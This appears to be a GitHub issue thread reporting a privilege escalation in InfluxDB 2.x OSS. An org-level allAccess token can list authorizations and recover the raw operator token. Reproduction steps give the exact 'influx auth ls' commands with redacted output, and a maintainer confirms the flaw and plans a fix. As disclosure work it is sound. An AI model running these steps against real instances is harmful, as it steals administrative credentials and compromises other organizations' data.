Operator Token Privilege Escalation

[XenoM0rph97]

Summary: A business logic flaw in influxdb allows users who own a valid allAccess token to escalate their privileges at operator level by listing current authorization tokens.

Example Scenario: Attacker might be a user which was gained access by an administrator via an allAccess token only within their organization. This user's permissions will allow full control over the organization but will still prevent him to interact with other orgs.

Impact: This vulnerability would allow a user to obtain unrestricted access to the influxdb instance. A similar condition might fully compromise Confidentiality, Integrity and Availability of data owned by users of different organizations. Additionally, since operator token has administrative permissions, Availability and Integrity of the entire influxdb instance might be compromised.

Prerequisites/Limitations:

1. Attacker must have a valid allAccess token
2. allAccess token must have been created in the same Org where an operator token resides (ex. same Org as Admin user)
3. Attacker must be able to interact with influxdb instance via CLI or APIs (influxClient)

Steps to reproduce:

Scenario setup

1. Access influxdb UI as admin user
2. Create a new user and assign it to any org which contains an operator token (ex. default organization) with:

   influx auth user create -o xenoOrg -n xenoUser -p <password> -t <OperatorToken>

3. From influxdb UI generate a new allAccess token within the same org

Exploitation (via CLI):

1. Execute: influx auth ls -t <allAccessToken> | grep write:/orgs. This will list all current active operator tokens on the influxdb instance.

Example

# Using an allAccess token 
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}

0cc41c3b050e5000                            U1OuqmFC{REDACTED}  
admin       0cb9c92ee228b000    [read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]

# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs

0cbb920e128e5000                            gerKYLO0Ph_ibUk0y{REDACTED}
admin       0cb9c92ee228b000    [read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]

Exploitation (via InfluxClient): PoC Script for influx client

Considerations: This might be an intended behaviour. Although, from the security perspective, a user who was gained limited access to a single entity should never be able to escalate their permissions to interact with other entities. Resulting in a critical business logic flaw.

Potential root cause: allAccess tokens by default have permissions to list all authorizations that are defined in the same Org with no restrictions based on type (custom, allAccess, operator) -> read:orgs/87d0746948a3b3f5/authorizations.

CVSS Base Score: 9.1

CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

[jdstrand]

Thank you for this report. The is intended behavior in that:

• influx setup creates a user, an org and an operator token
• tokens are accessed via /api/v2/authorizations with permissions
• the operator token is put in the first org, which matches the read:orgs/ORIGID/authorizations of the access token
• the raw token string is stored in the system and is displayed with influx auth ls and the UI
• users with read:orgs/ORIGID/authorizations (all access token or otherwise), can influx auth ls tokens, which, if this matches the first org, shows the operator token (as you reported)

So, yes, the issue is confirmed. A couple of things:

• while influxdb 2.x OSS has a concept of orgs, influxdb 2.x OSS isn't considered truly multi-tenant but rather single tenant in terms of org isolation (in contrast to InfluxDB Cloud 2 and Serverless). That doesn't mean we can't improve things when it makes sense (see below). For the time being, users will want to take care to not user the default org for users they don't fully trust (we should've been documenting this, but see below)
• putting the operator token in the first org is by design (arguably a better choice could have been made)
• storing and displaying the raw token to users is by design, but this was a poor design choice. Best practice says we should instead only store a secure hash of the token internally (so it can't leak) and adjust the UI and influx output accordingly, as was done in Cloud 2 and Serverless (hinted at by the UI info you mentioned)

This last issue was identified internally prior to this issue and has recently been scheduled for correction by our Engineering team (cc @davidby-influx). Once done and the raw token is no longer stored internally, this issue is fully remediated since while users would be able to see the operator token, nothing sensitive will be leaked via the UI or the influx tool.

Thanks for the issue! I'm going to leave this open and we'll update it when we've implemented this best practice.

[XenoM0rph97]

Thanks for the quick response. I just added a simple PoC script to detect and eventually exploit the vulnerability if the above mentioned conditions are met.

I'll watch this thread for future updates.

[XenoM0rph97]

Gentle reminder on this. I'd like to have this issue officially disclosed since, with the appropriate configuration, customers would be able to mitigate it. Sharing it will help making sure customers will follow this best practice.
Do you have an ECD for the official fix? I know you probably have a very high workload, but the issue has been present here on Github since Mar 2024, I believe it would be better to disclose the CVE soon.